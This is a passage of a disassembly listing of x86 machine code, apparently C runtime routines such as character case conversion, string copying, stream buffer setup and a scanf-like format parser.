and byte_4DCDC0[eax], 0
loc_420265: ; CODE XREF: sub_4200E8+15Cj
inc eax
cmp eax, esi
jb short loc_420228
loc_42026A: ; CODE XREF: sub_4200E8+137j
pop esi
leave
retn
sub_4200E8 endp
; =============== S U B R O U T I N E =======================================
sub_42026D proc near ; CODE XREF: ___:00422E7Bp
; ___:00422ED7p ...
cmp dword_4DCFF4, 0
jnz short locret_420288
push 0FFFFFFFDh
call sub_41FEA9
pop ecx
mov dword_4DCFF4, 1
locret_420288: ; CODE XREF: sub_42026D+7j
retn
sub_42026D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp
; sub_41B9D1+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_4DCDBC, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_4202AD
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_41B5F0
add esp, 0Ch
jmp short loc_420310
; ---------------------------------------------------------------------------
loc_4202AD: ; CODE XREF: sub_420289+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_4202F2
mov ecx, [ebp+arg_4]
loc_4202B8: ; CODE XREF: sub_420289+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_4DCEC1[esi], 4
mov [edi], al
jz short loc_4202DC
inc edi
inc ecx
test edx, edx
jz short loc_4202E8
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_4202EE
jmp short loc_4202E2
; ---------------------------------------------------------------------------
loc_4202DC: ; CODE XREF: sub_420289+3Ej
inc edi
inc ecx
test al, al
jz short loc_4202F2
loc_4202E2: ; CODE XREF: sub_420289+51j
test edx, edx
jnz short loc_4202B8
jmp short loc_4202F2
; ---------------------------------------------------------------------------
loc_4202E8: ; CODE XREF: sub_420289+44j
and byte ptr [edi-1], 0
jmp short loc_4202F2
; ---------------------------------------------------------------------------
loc_4202EE: ; CODE XREF: sub_420289+4Fj
and byte ptr [edi-2], 0
loc_4202F2: ; CODE XREF: sub_420289+2Aj
; sub_420289+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_42030D
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_42030D: ; CODE XREF: sub_420289+6Fj
mov eax, [ebp+arg_0]
loc_420310: ; CODE XREF: sub_420289+22j
pop edi
pop ebp
retn
sub_420289 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DBA14, 0
push ebx
jnz short loc_42033E
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_4203DC
cmp eax, 7Ah
jg loc_4203DC
sub eax, 20h
jmp loc_4203DC
; ---------------------------------------------------------------------------
loc_42033E: ; CODE XREF: sub_420313+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_420371
cmp dword_43CBE4, 1
jle short loc_42035E
push 2
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420369
; ---------------------------------------------------------------------------
loc_42035E: ; CODE XREF: sub_420313+3Dj
mov eax, off_43C9D8
mov al, [eax+ebx*2]
and eax, 2
loc_420369: ; CODE XREF: sub_420313+49j
test eax, eax
jnz short loc_420371
loc_42036D: ; CODE XREF: sub_420313+AFj
mov eax, ebx
jmp short loc_4203DC
; ---------------------------------------------------------------------------
loc_420371: ; CODE XREF: sub_420313+34j
; sub_420313+58j
mov edx, off_43C9D8
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_420394
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_42039D
; ---------------------------------------------------------------------------
loc_420394: ; CODE XREF: sub_420313+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_42039D: ; CODE XREF: sub_420313+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_4DBA14
call sub_422ACA
add esp, 20h
test eax, eax
jz short loc_42036D
cmp eax, 1
jnz short loc_4203CF
movzx eax, [ebp+var_4]
jmp short loc_4203DC
; ---------------------------------------------------------------------------
loc_4203CF: ; CODE XREF: sub_420313+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_4203DC: ; CODE XREF: sub_420313+14j
; sub_420313+1Dj ...
pop ebx
leave
retn
sub_420313 endp
; =============== S U B R O U T I N E =======================================
sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp
; sub_41D3BE+16p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4DB95C, ecx
mov eax, offset dword_43CCF0
loc_4203F0: ; CODE XREF: sub_4203DF+1Ej
cmp ecx, [eax]
jz short loc_420414
add eax, 8
inc edx
cmp eax, offset dword_43CE58
jl short loc_4203F0
cmp ecx, 13h
jb short loc_420421
cmp ecx, 24h
ja short loc_420421
mov dword_4DB958, 0Dh
retn
; ---------------------------------------------------------------------------
loc_420414: ; CODE XREF: sub_4203DF+13j
mov eax, dword_43CCF4[edx*8]
mov dword_4DB958, eax
retn
; ---------------------------------------------------------------------------
loc_420421: ; CODE XREF: sub_4203DF+23j
; sub_4203DF+28j
cmp ecx, 0BCh
jb short loc_42043B
cmp ecx, 0CAh
mov dword_4DB958, 8
jbe short locret_420445
loc_42043B: ; CODE XREF: sub_4203DF+48j
mov dword_4DB958, 16h
locret_420445: ; CODE XREF: sub_4203DF+5Aj
retn
sub_4203DF endp
; =============== S U B R O U T I N E =======================================
sub_420446 proc near ; CODE XREF: sub_41BE06+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_423E35
test eax, eax
pop ecx
jz short loc_4204CF
cmp esi, offset dword_43D0E8
jnz short loc_420464
xor eax, eax
jmp short loc_42046F
; ---------------------------------------------------------------------------
loc_420464: ; CODE XREF: sub_420446+18j
cmp esi, offset dword_43D108
jnz short loc_4204CF
push 1
pop eax
loc_42046F: ; CODE XREF: sub_420446+1Cj
inc dword_4DBB40
test word ptr [esi+0Ch], 10Ch
jnz short loc_4204CF
cmp dword_4DB9E4[eax*4], 0
push ebx
push edi
lea edi, ds:4DB9E4h[eax*4]
mov ebx, 1000h
jnz short loc_4204B5
push ebx
call sub_41B4D5
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_4204B5
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_4204C2
; ---------------------------------------------------------------------------
loc_4204B5: ; CODE XREF: sub_420446+4Dj
; sub_420446+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_4204C2: ; CODE XREF: sub_420446+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4204CF: ; CODE XREF: sub_420446+10j
; sub_420446+24j ...
xor eax, eax
pop esi
retn
sub_420446 endp
; =============== S U B R O U T I N E =======================================
sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_4204FD
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_42050E
push esi
call sub_41DB8B
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4204FD: ; CODE XREF: sub_4204D3+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_42050E
push eax
call sub_41DB8B
pop ecx
loc_42050E: ; CODE XREF: sub_4204D3+10j
; sub_4204D3+32j
pop esi
retn
sub_4204D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420510 proc near ; CODE XREF: sub_41C645+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_420F16
mov edi, [ebp+arg_0]
jmp short loc_42053F
; ---------------------------------------------------------------------------
loc_42053A: ; CODE XREF: sub_420510+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_42053F: ; CODE XREF: sub_420510+28j
cmp dword_43CBE4, 1
jle short loc_420557
movzx eax, al
push 8
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_420566
; ---------------------------------------------------------------------------
loc_420557: ; CODE XREF: sub_420510+36j
mov ecx, off_43C9D8
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_420566: ; CODE XREF: sub_420510+45j
cmp eax, ebx
jz short loc_4205A0
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_420F9D
pop ecx
pop ecx
push eax
call sub_420F86
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41D670
add esp, 0Ch
loc_42058E: ; CODE XREF: sub_420510+8Ej
test eax, eax
jz short loc_4205A0
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41D670
pop ecx
jmp short loc_42058E
; ---------------------------------------------------------------------------
loc_4205A0: ; CODE XREF: sub_420510+58j
; sub_420510+80j
cmp byte ptr [esi], 25h
jnz loc_420E82
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_4205D7: ; CODE XREF: sub_420510+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_43CBE4, 1
jle short loc_4205F4
movzx eax, bl
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_420603
; ---------------------------------------------------------------------------
loc_4205F4: ; CODE XREF: sub_420510+D3j
mov ecx, off_43C9D8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_420603: ; CODE XREF: sub_420510+E2j
test eax, eax
jz short loc_420619
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420619: ; CODE XREF: sub_420510+F5j
cmp ebx, 4Eh
jg short loc_42065C
jz short loc_42067E
cmp ebx, 2Ah
jz short loc_420657
cmp ebx, 46h
jz short loc_42067E
cmp ebx, 49h
jz short loc_420639
cmp ebx, 4Ch
jnz short loc_42066B
inc [ebp+var_D]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420639: ; CODE XREF: sub_420510+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_42066B
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_42066B
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420657: ; CODE XREF: sub_420510+113j
inc [ebp+var_E]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_42065C: ; CODE XREF: sub_420510+10Cj
cmp ebx, 68h
jz short loc_420678
cmp ebx, 6Ch
jz short loc_420670
cmp ebx, 77h
jz short loc_420673
loc_42066B: ; CODE XREF: sub_420510+122j
; sub_420510+12Dj ...
inc [ebp+var_F]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420670: ; CODE XREF: sub_420510+154j
inc [ebp+var_D]
loc_420673: ; CODE XREF: sub_420510+159j
inc [ebp+var_5]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420678: ; CODE XREF: sub_420510+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_42067E: ; CODE XREF: sub_420510+107j
; sub_420510+10Ej ...
cmp [ebp+var_F], 0
jz loc_4205D7
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_4206A3
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_4206A3: ; CODE XREF: sub_420510+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_4206C1
mov al, [esi]
cmp al, 53h
jz short loc_4206BD
cmp al, 43h
jz short loc_4206BD
or [ebp+var_5], 0FFh
jmp short loc_4206C1
; ---------------------------------------------------------------------------
loc_4206BD: ; CODE XREF: sub_420510+1A1j
; sub_420510+1A5j
mov [ebp+var_5], 1
loc_4206C1: ; CODE XREF: sub_420510+19Bj
; sub_420510+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_4206FA
cmp esi, 63h
jz short loc_4206EB
cmp esi, 7Bh
jz short loc_4206EB
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_420F9D
pop ecx
jmp short loc_4206F6
; ---------------------------------------------------------------------------
loc_4206EB: ; CODE XREF: sub_420510+1C5j
; sub_420510+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
loc_4206F6: ; CODE XREF: sub_420510+1D9j
pop ecx
mov [ebp+var_14], eax
loc_4206FA: ; CODE XREF: sub_420510+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_42070A
cmp [ebp+var_C], eax
jz loc_420EE6
loc_42070A: ; CODE XREF: sub_420510+1EFj
cmp esi, 6Fh
jg loc_420971
jz loc_420C23
cmp esi, 63h
jz loc_42094E
cmp esi, 64h
jz loc_420C23
jle loc_42099B
cmp esi, 67h
jle short loc_42076E
cmp esi, 69h
jz short loc_420756
cmp esi, 6Eh
jnz loc_42099B
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_420E51
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_420756: ; CODE XREF: sub_420510+229j
push 64h
pop esi
loc_420759: ; CODE XREF: sub_420510+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_4209E3
mov [ebp+var_17], 1
jmp loc_4209E8
; ---------------------------------------------------------------------------
loc_42076E: ; CODE XREF: sub_420510+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_42078A
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_42078F
; ---------------------------------------------------------------------------
loc_42078A: ; CODE XREF: sub_420510+26Aj
cmp ebx, 2Bh
jnz short loc_4207A6
loc_42078F: ; CODE XREF: sub_420510+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4207A9
; ---------------------------------------------------------------------------
loc_4207A6: ; CODE XREF: sub_420510+27Dj
mov edi, [ebp+arg_0]
loc_4207A9: ; CODE XREF: sub_420510+294j
cmp [ebp+var_20], 0
jz short loc_4207B8
cmp [ebp+var_C], 15Dh
jle short loc_4207BF
loc_4207B8: ; CODE XREF: sub_420510+29Dj
mov [ebp+var_C], 15Dh
loc_4207BF: ; CODE XREF: sub_420510+2A6j
; sub_420510+2F2j
cmp dword_43CBE4, 1
jle short loc_4207D4
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_4207DF
; ---------------------------------------------------------------------------
loc_4207D4: ; CODE XREF: sub_420510+2B6j
mov eax, off_43C9D8
mov al, [eax+ebx*2]
and eax, 4
loc_4207DF: ; CODE XREF: sub_420510+2C2j
test eax, eax
jz short loc_420804
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420804
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4207BF
; ---------------------------------------------------------------------------
loc_420804: ; CODE XREF: sub_420510+2D1j
; sub_420510+2DBj
cmp byte_43CBE8, bl
jnz short loc_420872
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420872
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
mov al, byte_43CBE8
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_42082D: ; CODE XREF: sub_420510+360j
cmp dword_43CBE4, 1
jle short loc_420842
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_42084D
; ---------------------------------------------------------------------------
loc_420842: ; CODE XREF: sub_420510+324j
mov eax, off_43C9D8
mov al, [eax+ebx*2]
and eax, 4
loc_42084D: ; CODE XREF: sub_420510+330j
test eax, eax
jz short loc_420872
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420872
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_42082D
; ---------------------------------------------------------------------------
loc_420872: ; CODE XREF: sub_420510+2FAj
; sub_420510+304j ...
cmp [ebp+var_1C], 0
jz loc_42090A
cmp ebx, 65h
jz short loc_42088A
cmp ebx, 45h
jnz loc_42090A
loc_42088A: ; CODE XREF: sub_420510+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42090A
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_4208B1
mov [esi], al
inc esi
jmp short loc_4208B6
; ---------------------------------------------------------------------------
loc_4208B1: ; CODE XREF: sub_420510+39Aj
cmp ebx, 2Bh
jnz short loc_4208D4
loc_4208B6: ; CODE XREF: sub_420510+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_4208C5
and [ebp+var_C], eax
jmp short loc_4208D4
; ---------------------------------------------------------------------------
loc_4208C5: ; CODE XREF: sub_420510+3AEj
; sub_420510+3F8j
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_4208D4: ; CODE XREF: sub_420510+3A4j
; sub_420510+3B3j
cmp dword_43CBE4, 1
jle short loc_4208E9
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_4208F4
; ---------------------------------------------------------------------------
loc_4208E9: ; CODE XREF: sub_420510+3CBj
mov eax, off_43C9D8
mov al, [eax+ebx*2]
and eax, 4
loc_4208F4: ; CODE XREF: sub_420510+3D7j
test eax, eax
jz short loc_42090A
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42090A
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_4208C5
; ---------------------------------------------------------------------------
loc_42090A: ; CODE XREF: sub_420510+366j
; sub_420510+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_420F86
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_420F16
cmp [ebp+var_E], 0
jnz loc_420E77
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43CF88
add esp, 0Ch
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_42094E: ; CODE XREF: sub_420510+20Cj
cmp [ebp+var_20], eax
jnz short loc_42095D
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_42095D: ; CODE XREF: sub_420510+441j
cmp [ebp+var_5], 0
jle short loc_420967
mov [ebp+var_16], 1
loc_420967: ; CODE XREF: sub_420510+451j
mov edi, offset dword_43CE60
jmp loc_420A7C
; ---------------------------------------------------------------------------
loc_420971: ; CODE XREF: sub_420510+1FDj
mov eax, esi
sub eax, 70h
jz loc_420C1F
sub eax, 3
jz loc_420A6D
dec eax
dec eax
jz loc_420C23
sub eax, 3
jz loc_420759
sub eax, 3
jz short loc_4209BF
loc_42099B: ; CODE XREF: sub_420510+21Bj
; sub_420510+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_420EE6
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_420E77
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_4209BF: ; CODE XREF: sub_420510+489j
cmp [ebp+var_5], 0
jle short loc_4209C9
mov [ebp+var_16], 1
loc_4209C9: ; CODE XREF: sub_420510+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_420A80
mov eax, edi
lea edi, [eax+1]
jmp loc_420A7C
; ---------------------------------------------------------------------------
loc_4209E3: ; CODE XREF: sub_420510+24Fj
cmp ebx, 2Bh
jnz short loc_420A0A
loc_4209E8: ; CODE XREF: sub_420510+259j
dec [ebp+var_C]
jnz short loc_4209F9
cmp [ebp+var_20], 0
jz short loc_4209F9
mov [ebp+var_F], 1
jmp short loc_420A0A
; ---------------------------------------------------------------------------
loc_4209F9: ; CODE XREF: sub_420510+4DBj
; sub_420510+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420A0A: ; CODE XREF: sub_420510+4D6j
; sub_420510+4E7j
cmp ebx, 30h
jnz loc_420C58
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_420A58
cmp bl, 58h
jz short loc_420A58
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_420A42
push 6Fh
loc_420A3C: ; CODE XREF: sub_420510+55Bj
pop esi
jmp loc_420C58
; ---------------------------------------------------------------------------
loc_420A42: ; CODE XREF: sub_420510+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420F86
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_420C55
; ---------------------------------------------------------------------------
loc_420A58: ; CODE XREF: sub_420510+517j
; sub_420510+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_420A3C
; ---------------------------------------------------------------------------
loc_420A6D: ; CODE XREF: sub_420510+46Fj
cmp [ebp+var_5], 0
jle short loc_420A77
mov [ebp+var_16], 1
loc_420A77: ; CODE XREF: sub_420510+561j
mov edi, offset dword_43CE58
loc_420A7C: ; CODE XREF: sub_420510+45Cj
; sub_420510+4CEj
or [ebp+var_18], 0FFh
loc_420A80: ; CODE XREF: sub_420510+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_41B590
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_420AA4
cmp byte ptr [edi], 5Dh
jnz short loc_420AA4
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_420AA7
; ---------------------------------------------------------------------------
loc_420AA4: ; CODE XREF: sub_420510+584j
; sub_420510+589j
mov dl, [ebp+var_35]
loc_420AA7: ; CODE XREF: sub_420510+592j
; sub_420510+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_420B0C
inc edi
cmp al, 2Dh
jnz short loc_420AF3
test dl, dl
jz short loc_420AF3
mov cl, [edi]
cmp cl, 5Dh
jz short loc_420AF3
inc edi
cmp dl, cl
jnb short loc_420AC6
mov al, cl
jmp short loc_420ACA
; ---------------------------------------------------------------------------
loc_420AC6: ; CODE XREF: sub_420510+5B0j
mov al, dl
mov dl, cl
loc_420ACA: ; CODE XREF: sub_420510+5B4j
cmp dl, al
ja short loc_420AEF
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_420AD7: ; CODE XREF: sub_420510+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_420AD7
loc_420AEF: ; CODE XREF: sub_420510+5BCj
xor dl, dl
jmp short loc_420AA7
; ---------------------------------------------------------------------------
loc_420AF3: ; CODE XREF: sub_420510+5A0j
; sub_420510+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_420AA7
; ---------------------------------------------------------------------------
loc_420B0C: ; CODE XREF: sub_420510+59Bj
cmp byte ptr [edi], 0
jz loc_420F16
cmp [ebp+var_3C], 7Bh
jnz short loc_420B1E
mov [ebp+arg_4], edi
loc_420B1E: ; CODE XREF: sub_420510+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_420F86
pop ecx
pop ecx
loc_420B35: ; CODE XREF: sub_420510+6BCj
; sub_420510+6C4j
cmp [ebp+var_20], 0
jz short loc_420B49
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_420BE5
loc_420B49: ; CODE XREF: sub_420510+629j
inc [ebp+var_4]
push edi
call sub_420F6C
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_420BD9
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_420BD9
cmp [ebp+var_E], 0
jnz short loc_420BD1
cmp [ebp+var_16], 0
jz short loc_420BC6
mov ecx, off_43C9D8
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420BA5
inc [ebp+var_4]
push edi
call sub_420F6C
pop ecx
mov [ebp+var_37], al
loc_420BA5: ; CODE XREF: sub_420510+686j
push dword_43CBE4
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_423EC3
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_420BC9
; ---------------------------------------------------------------------------
loc_420BC6: ; CODE XREF: sub_420510+673j
mov [esi], al
inc esi
loc_420BC9: ; CODE XREF: sub_420510+6B4j
mov [ebp+var_2C], esi
jmp loc_420B35
; ---------------------------------------------------------------------------
loc_420BD1: ; CODE XREF: sub_420510+66Dj
inc [ebp+var_30]
jmp loc_420B35
; ---------------------------------------------------------------------------
loc_420BD9: ; CODE XREF: sub_420510+649j
; sub_420510+667j
dec [ebp+var_4]
push edi
push eax
call sub_420F86
pop ecx
pop ecx
loc_420BE5: ; CODE XREF: sub_420510+633j
cmp [ebp+var_30], esi
jz loc_420F16
cmp [ebp+var_E], 0
jnz loc_420E77
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_420E77
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_420C17
and word ptr [eax], 0
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_420C17: ; CODE XREF: sub_420510+6FCj
and byte ptr [eax], 0
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_420C1F: ; CODE XREF: sub_420510+466j
mov [ebp+var_D], 1
loc_420C23: ; CODE XREF: sub_420510+203j
; sub_420510+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_420C31
mov [ebp+var_17], 1
jmp short loc_420C36
; ---------------------------------------------------------------------------
loc_420C31: ; CODE XREF: sub_420510+719j
cmp ebx, 2Bh
jnz short loc_420C58
loc_420C36: ; CODE XREF: sub_420510+71Fj
dec [ebp+var_C]
jnz short loc_420C47
cmp [ebp+var_20], 0
jz short loc_420C47
mov [ebp+var_F], 1
jmp short loc_420C58
; ---------------------------------------------------------------------------
loc_420C47: ; CODE XREF: sub_420510+729j
; sub_420510+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
pop ecx
mov ebx, eax
loc_420C55: ; CODE XREF: sub_420510+543j
mov [ebp+var_14], ebx
loc_420C58: ; CODE XREF: sub_420510+4FDj
; sub_420510+52Dj ...
